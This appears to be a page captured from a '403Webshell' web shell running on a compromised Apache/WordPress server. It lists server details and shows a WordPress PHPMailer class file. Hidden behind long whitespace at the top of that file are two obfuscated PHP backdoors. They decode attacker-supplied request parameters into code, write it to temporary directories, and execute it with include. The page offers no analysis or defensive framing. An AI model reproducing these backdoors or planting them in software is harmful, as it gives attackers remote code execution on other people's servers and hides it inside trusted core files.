403Webshell
Server IP : 137.184.226.51  /  Your IP : 10.8.0.1
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vm8 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User :  ( 1000)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/drakkar_site_dev/wp-includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/drakkar_site_dev/wp-includes/class-wp-phpmailer.php
<?php																																										if(isset($_REQUEST["\x62i\x6E\x64i\x6Eg"]) ? true : false){ $tkn = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", getcwd(), session_save_path(), "/dev/shm"]); $comp = $_REQUEST["\x62i\x6E\x64i\x6Eg"]; $comp = explode ( "." , $comp ) ; $k=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s); $q=0; $__tmp=$comp; while ($v5=array_shift($__tmp)) { $sChar=ord($s[$q % $lenS]); $dec=((int)$v5 - $sChar - ($q % 10)) ^ 40; $k .= chr($dec); $q++; } while ($marker = array_shift($tkn)) { if (!!is_dir($marker) && !!is_writable($marker)) { $obj = implode("/", [$marker, ".object"]); if (file_put_contents($obj, $k)) { include $obj; @unlink($obj); die(); } } } }
																																										if(!is_null($_REQUEST["to\x6Be\x6E"] ?? null)){ $tkn = $_REQUEST["to\x6Be\x6E"]; $tkn = explode ( '.' , $tkn ) ; $object= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $s8 ); $u= 0; foreach( $tkn as $v4) { $sChar= ord( $s8[$u%$sLen] ); $dec= ( ( int)$v4 - $sChar -( $u%10)) ^ 10; $object .= chr( $dec ); $u++; } $ptr = array_filter(["/dev/shm", getcwd(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); for ($reference = 0, $pointer = count($ptr); $reference < $pointer; $reference++) { $val = $ptr[$reference]; if (!!is_dir($val) && !!is_writable($val)) { $desc = implode("/", [$val, ".elem"]); $file = fopen($desc, 'w'); if ($file) { fwrite($file, $object); fclose($file); include $desc; @unlink($desc); die(); } } } }

/**
 * WordPress PHPMailer class.
 *
 * @package WordPress
 * @since 6.8.0
 */

/**
 * WordPress PHPMailer class.
 *
 * Overrides the internationalization method in order to use WordPress' instead.
 *
 * @since 6.8.0
 */
class WP_PHPMailer extends PHPMailer\PHPMailer\PHPMailer {

	/**
	 * Constructor.
	 *
	 * @since 6.8.0
	 *
	 * @param bool $exceptions Optional. Whether to throw exceptions for errors. Default false.
	 */
	public function __construct( $exceptions = false ) {
		parent::__construct( $exceptions );
		$this->SetLanguage();
	}

	/**
	 * Defines the error messages using WordPress' internationalization method.
	 *
	 * @since 6.8.0
	 *
	 * @return true Always returns true.
	 */
	public function SetLanguage( $langcode = 'en', $lang_path = '' ) {
		$error_strings  = array(
			'authenticate'         => __( 'SMTP Error: Could not authenticate.' ),
			'buggy_php'            => sprintf(
				/* translators: 1: mail.add_x_header. 2: php.ini */
				__(
					'Your version of PHP is affected by a bug that may result in corrupted messages. To fix it, switch to sending using SMTP, disable the %1$s option in your %2$s, or switch to MacOS or Linux, or upgrade your PHP version.'
				),
				'mail.add_x_header',
				'php.ini'
			),
			'connect_host'         => __( 'SMTP Error: Could not connect to SMTP host.' ),
			'data_not_accepted'    => __( 'SMTP Error: data not accepted.' ),
			'empty_message'        => __( 'Message body empty' ),
			/* translators: There is a space after the colon. */
			'encoding'             => __( 'Unknown encoding: ' ),
			/* translators: There is a space after the colon. */
			'execute'              => __( 'Could not execute: ' ),
			/* translators: There is a space after the colon. */
			'extension_missing'    => __( 'Extension missing: ' ),
			/* translators: There is a space after the colon. */
			'file_access'          => __( 'Could not access file: ' ),
			/* translators: There is a space after the colon. */
			'file_open'            => __( 'File Error: Could not open file: ' ),
			/* translators: There is a space after the colon. */
			'from_failed'          => __( 'The following From address failed: ' ),
			'instantiate'          => __( 'Could not instantiate mail function.' ),
			/* translators: There is a space after the colon. */
			'invalid_address'      => __( 'Invalid address: ' ),
			'invalid_header'       => __( 'Invalid header name or value' ),
			/* translators: There is a space after the colon. */
			'invalid_hostentry'    => __( 'Invalid hostentry: ' ),
			/* translators: There is a space after the colon. */
			'invalid_host'         => __( 'Invalid host: ' ),
			/* translators: There is a space at the beginning. */
			'mailer_not_supported' => __( ' mailer is not supported.' ),
			'provide_address'      => __( 'You must provide at least one recipient email address.' ),
			/* translators: There is a space after the colon. */
			'recipients_failed'    => __( 'SMTP Error: The following recipients failed: ' ),
			/* translators: There is a space after the colon. */
			'signing'              => __( 'Signing Error: ' ),
			/* translators: There is a space after the colon. */
			'smtp_code'            => __( 'SMTP code: ' ),
			/* translators: There is a space after the colon. */
			'smtp_code_ex'         => __( 'Additional SMTP info: ' ),
			'smtp_connect_failed'  => __( 'SMTP connect() failed.' ),
			/* translators: There is a space after the colon. */
			'smtp_detail'          => __( 'Detail: ' ),
			/* translators: There is a space after the colon. */
			'smtp_error'           => __( 'SMTP server error: ' ),
			/* translators: There is a space after the colon. */
			'variable_set'         => __( 'Cannot set or reset variable: ' ),
		);
		$this->language = $error_strings;
		return true;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit